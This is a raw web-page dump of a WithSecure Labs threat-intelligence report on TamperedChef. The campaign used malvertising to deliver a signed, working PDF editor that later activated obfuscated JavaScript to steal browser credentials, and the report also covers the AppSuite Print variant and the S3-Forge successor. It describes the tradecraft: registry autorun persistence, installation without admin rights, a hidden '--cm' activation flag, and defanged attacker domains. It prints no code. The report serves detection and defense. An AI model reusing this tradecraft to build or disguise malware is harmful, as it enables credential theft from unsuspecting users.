class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this story                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/tamperedchef\/&#038;title=TamperedChef:%20Malvertising%20to%20Credential%20Theft\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=TamperedChef: Malvertising to Credential Theft&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/tamperedchef\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n                <\/div>\n                                                <div class=\"wp-block-two-column-block__right\">\n                                <div class=\"wp-component-paragraph wp-block-two-column-block__paragraph \">\n    <h2>Executive Summary<\/h2>\n<p>TamperedChef is a sophisticated malware campaign that leveraged a convincing advertising campaign strategy and a fully functional decoy application to target European organizations. Disguised as a legitimate application such as a PDF editor, the malware operated with expected functionality for nearly two months before activating its payload to harvest browser credentials, impacting a significant number of systems.<\/p>\n<p>This campaign demonstrates how even well-defined organizations can be compromised by convincing, legitimate-looking software. The consequences are severe: credential theft, potential backdoor access, and the need for full remediation. Organizations must act quickly to identify and remove this threat.<\/p>\n<p>This post shares new insights uncovered by WithSecure\u2019s Strategic Threat Intelligence &amp; Research Group (STINGR), based on our unique visibility through telemetry into affected environments.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tamperedchef-world.jpg.webp\" alt=\"\" \/><\/figure>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/tamperedchef-eu-focus.jpg.webp\" alt=\"\" \/><\/figure>\n<h2>About AppSuite PDF Editor<\/h2>\n<p>A typical infection flow began when a user searching for a free PDF editor encountered a malicious ad campaign. Clicking the ad redirected them to a download site controlled by the threat actors, where they downloaded and executed a Microsoft Installer (MSI) package. The installer displayed a EULA acceptance dialog, which made the app appear more legitimate and helped it evade some automated security checks, such as automatic detonation in certain sandbox environments.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/eula-dialog.png.webp\" alt=\"\" \/><\/figure>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/eula-dialog-fr.png.webp\" alt=\"\" \/><\/figure>\n<p>Clicking the Accept button was the final required user interaction; from there, the MSI downloaded the application installer from vault[.]appsuites[.]ai. This installer, built using NSIS (Nullsoft Scriptable Install System), installed the app under %USERPROFILE% and created persistence by adding an autorun registry entry to launch the app at logon. Notably, the installation required no admin rights, making it effective in business environments with restricted privileges.<\/p>\n<p>AppSuite PDF Editor is written in NodeJS and packaged as an Electron app. Its main executable, \u201cPDF Editor.exe\u201d functions as a full featured Chromium-based browser, executing bundled JavaScript. The malicious payload resides in:<\/p>\n<ul>\n<li>pdfeditor.js: The main, heavily obfuscated JavaScript file, responsible for both the limited UI and the malicious activity. Most PDF editing functionality is delivered via web content from pdf-tool[.]appsuites[.]ai, meaning the app does not work offline.<\/li>\n<li>Utilityaddon.node: A custom NodeJS module (native x64 DLL) used to create\/delete registry entries and scheduled tasks, and more.<\/li>\n<\/ul>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/utilityaddon.png.webp\" alt=\"\" \/><\/figure>\n<h2>The Attacker&#8217;s Response<\/h2>\n<p>When the malicious payload embedded in pdfeditor.js was activated on August 21, 2025, and began stealing browser credentials, the campaign\u2019s true intent was exposed. The threat actors quickly responded by releasing new, \u201cclean\u201d versions of the app (1.0.40 and 1.0.41) just days later, with all malicious JavaScript code removed and the code no longer obfuscated. However, the app continued to connect to attacker-controlled infrastructure, so its use remains strongly discouraged.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/no-obf.png.webp\" alt=\"\" \/><\/figure>\n<h2>The Abandoned: &#8220;AppSuite Print&#8221;<\/h2>\n<p>During our investigation, we found a similar decoy app called AppSuite Print. It was built and signed around the same time as the PDF Editor, on May 20, 2025. It uses an obfuscated JavaScript file named appsuite-print.js, which loads content from hxxps:\/\/pdf-tool[.]appsuites[.]ai\/en\/print. The executable files are signed by &#8216;ECHO INFINI SDN. BHD.&#8217;, the same certificate used in some versions of the PDF Editor. Technically, it was almost identical, but we found no evidence of its deployment among our customers. It appears the attackers abandoned this variant, likely due to lower demand for a print utility.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/print-dir.png.webp\" alt=\"\" \/><\/figure>\n<h2>The Successor: &#8220;S3-Forge&#8221;<\/h2>\n<p>Shortly after the malicious payload was activated, the true intention of AppSuite PDF Editor became evident. As a result, defenders began detecting and blocking the application, rendering it useless for the threat actor. The attackers quickly pivoted and, based on shared code artifact and development patterns observed in previous campaigns, their next decoy project appears to be an early staged application named S3-Forge.<\/p>\n<p>S3-Forge builds directly on the PDF Editor concept but remains under active development. Several artifacts in the codebase continues to reference PDF Editor, and none of the executables are signed. The main window resembles the PDF Editor interface but connects to a different domain (freeonlinetools[.]info), and the application continues to use the original PDF Editor icon.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/s3main1.png.webp\" alt=\"\" \/><\/figure>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/remants-of-tempered-chef.png.webp\" alt=\"\" \/><\/figure>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/current-config.png.webp\" alt=\"\" \/><\/figure>\n<p>The S3-Forge binary is unsigned, likely because the project is still in early development. The \u201c&#8211;cm\u201d argument is also present in S3-Forge, as in PDF Editor, where it serves as the primary mechanism to enable malicious capabilities.<\/p>\n<figure><img decoding=\"async\" class=\"wp-component-image\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/command-line-arg-present-in-new-file.png.webp\" alt=\"\" \/><\/figure>\n<p>S3-Forge currently contains no malicious code and we suspect this is consistent with the application being under development and the threat actor testing the various portions of the application. It is also unclear at this point the decoy strategy of the threat actor. The &#8220;S3&#8221; name might refer to a car model, but it is more likely a reference to Amazon Web Services (AWS) cloud storage, suggesting a possible shift toward targeting software developers. Most observed S3-Forge installers are NuGet packages built by Squirrel (an open-source installation and update framework), indicating experimentation with new distribution methods. In addition to this, Utilityaddon.node and the application\u2019s supporting scripts have been bundled into app.asar, making it less straightforward to detect.<\/p>\n<p>The first known version of S3-Forge was uploaded to VirusTotal on August 26, 2025, just one day after the \u201cde-weaponized\u201d update of PDF Editor.<\/p>\n<h2>Conclusions &amp; Recommendations<\/h2>\n<p>The TamperedChef campaign demonstrates a high level of planning and execution. The attackers obtained code-signing certificates, developed legitimate-looking applications, and ran a targeted ad campaign to maximize installations. The impact is significant: anyone who installed AppSuite PDF Editor should assume their browser-stored credentials were compromised.<\/p>\n<p>Given the campaign\u2019s success, it is likely the attackers will attempt similar tactics in the future, and other threat actors may follow suit. To protect against these threats:<\/p>\n<ul>\n<li>Avoid installing software promoted via advertisements. Always use reputable sources.<\/li>\n<li>In business environments, only install pre-approved applications.<\/li>\n<li>Invalidate sessions and rotate credentials for affected users.<\/li>\n<li>Disable browser password stores where feasible. Enforce password managers with policy.<\/li>\n<\/ul>\n<p>Special thanks to Elias Koivula and Jeremy Ong for their contributions to the investigation.<\/p>\n<h2>Detection<\/h2>\n<p>WithSecure products detect and block TamperedChef via combination of generic and specific signatures, including but not limited to:<\/p>\n<ul>\n<li>Trojan:W32\/TamperedChef.A*<\/li>\n<li>Backdoor.BDS\/AVI.Agent.*<\/li>\n<li>Trojan.TR\/AVI.Agent.*<\/li>\n<\/ul>\n<p>Indicator of Compromise &#8211; IOC<\/p>\n<ul>\n<li><a href=\"https:\/\/github.com\/WithSecureLabs\/iocs\/tree\/master\/TamperedChef\" target=\"_blank\" rel=\"noopener\">iocs\/TamperedChef at master \u00b7 WithSecureLabs\/iocs<\/a><\/li>\n<\/ul>\n<h2>References<\/h2>\n<ul>\n<li>https:\/\/www.truesec.com\/hub\/blog\/tamperedchef-the-bad-pdf-editor<\/li>\n<li>https:\/\/heimdalsecurity.com\/blog\/heimdal-tamperedchef-investigation\/<\/li>\n<li>https:\/\/expel.com\/blog\/you-dont-find-manualfinder-manualfinder-finds-you\/<\/li>\n<li>https:\/\/www.gdatasoftware.com\/blog\/2025\/08\/38257-appsuite-pdf-editor-backdoor-analysis<\/li>\n<\/ul>\n<\/div>\n<section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--disable-container wp-block-two-column-block__share wp-block-two-column-block__mobile-after-right wp-block-two-column-block__share wp-block-two-column-block__mobile-after-right\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this story                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/tamperedchef\/&#038;title=TamperedChef:%20Malvertising%20to%20Credential%20Theft\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=TamperedChef: Malvertising to Credential Theft&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/tamperedchef\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n                <\/div>\n                        <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-cta-banner edwp-block js-wp-block-cta-banner wp-block-cta-banner--style-icon wp-block-cta-banner--no-image layout--spacing-xxxl-top layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-cta-banner__container\">\n        <div class=\"wp-block-cta-banner__box row-load\">\n            <div class=\"wp-component-content wp-component-content--help-text wp-component-content--dark wp-block-cta-banner__content\">\n                        <div class=\"wp-component-content__inner\">\n                <h2 class=\"wp-component-heading text--h2 wp-component-heading--dark wp-component-content__title\">\n    What <span class=\"blue-text\">next?<\/span><\/h2>                                    <div class=\"wp-component-content__content wysiwyg wysiwyg--dark\">\n                        <div class=\"wp-component-paragraph wp-component-paragraph--dark\">\n    <p class=\"text--p-medium\">Discover WithSecure\u2122 Elements Exposure Management.<br \/>\n&#8211; No credit card required. No obligations.No complexity.<\/p>\n<\/div>\n                    <\/div>\n                            <\/div>\n                            <div class=\"wp-component-content__buttons\">\n                <a class=\"wp-component-button btn btn--primary btn--dark\" href=\"https:\/\/www.withsecure.com\/en\/contact-us\/\">Contact us<\/a>            <\/div>\n                <\/div>                    <\/div>\n    <\/div>\n<\/section>\n\n\n\n\n<section\n    class=\"wp-block-cards edwp-block wp-block-cards--col-3 js-wp-block-cards wp-block-cards--show-overflow wp-block-cards--auto-slides-per-view layout--spacing-xxxl-top layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-cards__container\">\n        <div class=\"wp-component-content wp-component-content--default wp-block-cards__content\">\n            <h2 class=\"wp-component-heading text--h2 wp-component-content__title\">\n    Related <span class=\"blue-text\">Labs content<\/span><\/h2>                    <div class=\"wp-component-content__inner\">\n                                    <div class=\"wp-component-content__content wysiwyg\">\n                        <div class=\"wp-component-paragraph \">\n    <p class=\"text--p-medium\"><span data-teams=\"true\">Find related content relating to this topic.<\/span><\/p>\n<\/div>\n                    <\/div>\n                                                            <\/div>\n                <\/div>                            <div\n                class=\"swiper wp-block-cards__swiper js-wp-block-cards-swiper\"\n                data-slides-per-view-desktop=\"auto\"\n                data-slides-per-view-tablet=\"auto\"\n                data-slides-per-view-mobile=\"auto\"\n            >\n                <div class=\"swiper-wrapper wp-block-cards__swiper-wrapper row-load\">\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card wp-component-card-insight--highlighted\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp 618w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-300x214.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-447x318.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-205x146.jpg.webp 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Attack Detection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Dfir<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Incident Response<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Research<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Inside Phexia: A macOS malware delivered through ClickFix<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary btn--dark wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/phexia-macos-malware\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"2048\" height=\"1366\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"Overhead view down a wooden staircase of two people working on laptops in a casual seating nook below.\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506.jpg.webp 2048w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-300x200.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1024x683.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-768x512.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-1536x1025.jpg.webp 1536w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-447x298.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/06\/2026-05-21-WithSecure-3506-219x146.jpg.webp 219w\" sizes=\"auto, (max-width: 2048px) 100vw, 2048px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Article<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Endpoint Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Malware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Ransomware<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">Stolen creds and stinging loaders: An initial access campaign via SEO poisoning<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/initial-access-via-seo-poisoning\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                            <div class=\"swiper-slide wp-block-cards__slide\">\n                            <div class=\"wp-component-card-insight wp-block-cards__card\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img loading=\"lazy\" decoding=\"async\" width=\"618\" height=\"440\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp\" class=\"wp-component-card-insight__image\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder.jpg.webp 618w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-300x214.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-447x318.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/placeholder-205x146.jpg.webp 205w\" sizes=\"auto, (max-width: 618px) 100vw, 618px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Blog post<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">AI Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Software Protection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">GREYVIBE: A Russia-nexus group leveraging AI across state-aligned operations<\/h3>\n                                                    <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/greyvibe\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>                        <\/div>\n                                    <\/div>\n                <div class=\"wp-block-cards__nav fade-in\">\n                    <div class=\"wp-block-cards__pagination js-wp-block-cards-pagination\">\n                    <\/div>\n                    <div class=\"wp-block-cards__nav-arrow js-wp-block-cards-nav-prev\">\n                        <svg class='edwp-icon edwp-icon--reg js-icon ' aria-hidden='true'>\n                <use xlink:href='#chevron'><\/use>\n            <\/svg>                    <\/div>\n                    <div class=\"wp-block-cards__nav-arrow js-wp-block-cards-nav-next\">\n                        <svg class='edwp-icon edwp-icon--reg js-icon ' aria-hidden='true'>\n                <use xlink:href='#chevron'><\/use>\n            <\/svg>                    <\/div>\n                <\/div>\n            <\/div>\n                                    <\/div>\n<\/section>\n","protected":false},"excerpt":{"rendered":"<p>TamperedChef is a sophisticated malware campaign that leveraged a convincing advertising campaign strategy and a fully functional decoy application to target European organizations.<\/p>\n","protected":false},"author":3,"featured_media":8857,"template":"","categories":[270,231,269],"labs_content_type":[298,296,224],"class_list":["post-8211","lab_item","type-lab_item","status-publish","has-post-thumbnail","hentry","category-identity-security","category-software-protection","category-threat-intelligence"],"acf":[],"card":"<div class=\"wp-component-card-insight js-card-link\">\n    <div class=\"wp-component-card-insight__image-wrapper\">\n        <img width=\"1200\" height=\"800\" src=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_news.jpg\" class=\"wp-component-card-insight__image\" alt=\"\" decoding=\"async\" loading=\"lazy\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_news.jpg 1200w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_news-300x200.jpg 300w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_news-1024x683.jpg 1024w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_news-768x512.jpg 768w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_news-447x298.jpg 447w, https:\/\/www.withsecure.com\/wp-content\/uploads\/2026\/05\/ws_labs_news-219x146.jpg 219w\" sizes=\"auto, (max-width: 1200px) 100vw, 1200px\" \/>                    <p class=\"wp-component-card-insight__content-type\">Article<\/p>\n            <\/div>\n    <div class=\"wp-component-card-insight__content\">\n                    <div class=\"wp-component-card-insight__meta\">\n                <div class=\"wp-component-card-insight__categories\">\n                                            <span class=\"wp-component-card-insight__category\">Identity Security<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Software Protection<\/span>\n                                            <span class=\"wp-component-card-insight__category\">Threat Intelligence<\/span>\n                                    <\/div>\n            <\/div>\n                            <h3 class=\"wp-component-card-insight__title\">TamperedChef: Malvertising to Credential Theft<\/h3>\n                                            <p class=\"wp-component-card-insight__desc\">TamperedChef is a sophisticated malware campaign that leveraged a convincing advertising campaign strategy and a fully functional decoy application to target European organizations.<\/p>\n                            <div class=\"wp-component-card-insight__button-wrapper\">\n                <a class=\"wp-component-button btn btn--primary wp-component-card-insight__button btn--small\" href=\"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/tamperedchef\/\">Read more<\/a>            <\/div>\n            <\/div>\n<\/div>","_links":{"self":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/lab_item\/8211","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/lab_item"}],"about":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/types\/lab_item"}],"author":[{"embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/users\/3"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/media\/8857"}],"wp:attachment":[{"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/media?parent=8211"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/categories?post=8211"},{"taxonomy":"labs_content_type","embeddable":true,"href":"https:\/\/www.withsecure.com\/en\/wp-json\/wp\/v2\/labs_content_type?post=8211"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}},{"id":8150,"date":"2025-07-30T09:00:00","date_gmt":"2025-07-30T08:00:00","guid":{"rendered":"https:\/\/www.withsecure.com\/?post_type=lab_item&#038;p=8150"},"modified":"2026-09-08T10:05:01","modified_gmt":"2026-09-08T07:05:01","slug":"email-delivered-rmm","status":"publish","type":"lab_item","link":"https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/email-delivered-rmm\/","title":{"rendered":"Email-Delivered RMM: Abusing PDFs for Silent Initial Access"},"content":{"rendered":"<section\n    class=\"wp-block-one-column-block edwp-block js-wp-block-one-column-block wp-block-one-column-block--content-1 wp-block-one-column-block--meta-sharing layout--spacing-xxxxl-top layout--spacing-xl-bottom\"\n    >\n    <div class=\"wp-block-one-column-block__container\">\n                                                                                                                            <div class='wp-block-one-column-block__meta-sharing-grid'><div class=\"wp-component-content wp-component-content--default wp-block-one-column-block__content fade-in\">\n            <h1 class=\"wp-component-heading text--h2 wp-component-content__title\">\n    Email-Delivered RMM: Abusing PDFs for Silent  <span class=\"blue-text\">Initial Access<\/span><\/h1>                    <div class=\"wp-component-content__inner\">\n                                                    <div class=\"wp-component-content__meta\">\n                                                    <span class=\"wp-component-content__content-type\">\n                                Article                            <\/span>\n                                                                            <span class=\"wp-component-content__meta-categories\">\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Email Security                                    <\/span>\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Ransomware                                    <\/span>\n                                                                    <span class=\"wp-component-content__meta-category\">\n                                        Threat Intelligence                                    <\/span>\n                                                            <\/span>\n                                                                                                    <span class=\"wp-component-content__meta-date\">\n                                Jul 30, 2025                            <\/span>\n                                                                    <\/div>\n                                            <\/div>\n                <\/div><section\n    class=\"wp-block-sharing-icons edwp-block wp-block-sharing-icons--disable-border wp-block-sharing-icons--content-1 wp-block-sharing-icons--disable-container wp-block-one-column-block__sharing fade-in wp-block-one-column-block__sharing fade-in\"\n    >\n    <div class=\"wp-block-sharing-icons__container\">\n        <div class=\"wp-block-sharing-icons__inner\">\n                            <p class=\"wp-block-sharing-icons__title fade-in\">\n                    Share this                <\/p>\n                        <div class=\"wp-component-socials wp-component-socials--dark-mode\">\n    \n            <a href=\"https:\/\/www.linkedin.com\/shareArticle?mini=true&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/email-delivered-rmm\/&#038;title=Email-Delivered%20RMM:%20Abusing%20PDFs%20for%20Silent%20Initial%20Access\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link\" title=\"Share on Linkedin\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#linkedin'><\/use>\n            <\/svg>        <\/a>\n    \n            <a href=\"http:\/\/x.com\/share?text=Email-Delivered RMM: Abusing PDFs for Silent Initial Access&#038;url=https:\/\/www.withsecure.com\/en\/resources-hub\/w-labs\/email-delivered-rmm\/\" target=\"_blank\" rel=\"noreferer noopener\" class=\"wp-component-socials__link wp-component-socials__link--twitter\" title=\"Share on Twitter\">\n            <svg class='edwp-icon edwp-icon--xlg js-icon ' aria-hidden='true'>\n                <use xlink:href='#x'><\/use>\n            <\/svg>        <\/a>\n    \n    \n    <\/div>\n        <\/div>\n    <\/div>\n<\/section>\n<\/div>                                                                            <div class=\"wp-component-image__wrapper wp-block-one-column-block__image fade-in\">\n                    <\/div>\n                                                                                <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-one-column-block edwp-block js-wp-block-one-column-block wp-block-one-column-block--content-1 layout--spacing-xxxl-bottom\"\n    >\n    <div class=\"wp-block-one-column-block__container\">\n                                                                                                                                    <div class=\"wp-component-image__wrapper wp-block-one-column-block__image fade-in\">\n                    <figure class=\"wp-component-image__figure\">\n                                            <img loading=\"lazy\" decoding=\"async\" width=\"1200\" height=\"800\" src=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_insights.jpg.webp\" class=\"wp-component-image\n                            wp-component-image--desktop\n                            wp-component-image--mobile\n                            wp-component-image--ratio-content-25-1 wp-component-image--fit-cover\" alt=\"\" srcset=\"https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_insights.jpg.webp 1200w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_insights-300x200.jpg.webp 300w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_insights-1024x683.jpg.webp 1024w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_insights-768x512.jpg.webp 768w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_insights-447x298.jpg.webp 447w, https:\/\/www.withsecure.com\/wp-content\/smush-webp\/2026\/05\/ws_labs_insights-219x146.jpg.webp 219w\" sizes=\"auto, (max-width: 1200px) 100vw, 1200px\" \/>                                                    <\/figure>\n                    <\/div>\n                                                                                <\/div>\n<\/section>\n\n\n<section\n    class=\"wp-block-two-column-block edwp-block js-wp-block-two-column-block wp-block-two-column-block--content-1 wp-block-two-column-block__left--align-y-top wp-block-two-column-block__right--align-y-top wp-block-two-column-block--split-sidebar layout--none-top layout--spacing-xxxl-bottom\"\n    data-block-id=\"block_f591e4a358c9bec38627329fa1706c89\"\n    >\n    <div class=\"wp-block-two-column-block__container row-load\">\n                                                        <div class=\"wp-block-two-column-block__left\">\n                                    <div class=\"wp-component-authors-list wp-block-two-column-block__authors\">\n                    <p class=\"wp-component-authors-list__title\">\n                Authors            <\/p>\n        \n        <div class=\"wp-component-authors-list__items\">\n                                                <div class=\"wp-component-author-card \">\n    <div class=\"wp-component-author-card__media\">\n                    <span class=\"wp-component-author-card__photo-placeholder\" aria-hidden=\"true\">\n                <svg viewBox=\"0 0 64 64\" role=\"presentation\" focusable=\"false\">\n                    <path d=\"M32 34c-8.1 0-14.7 6.6-14.7 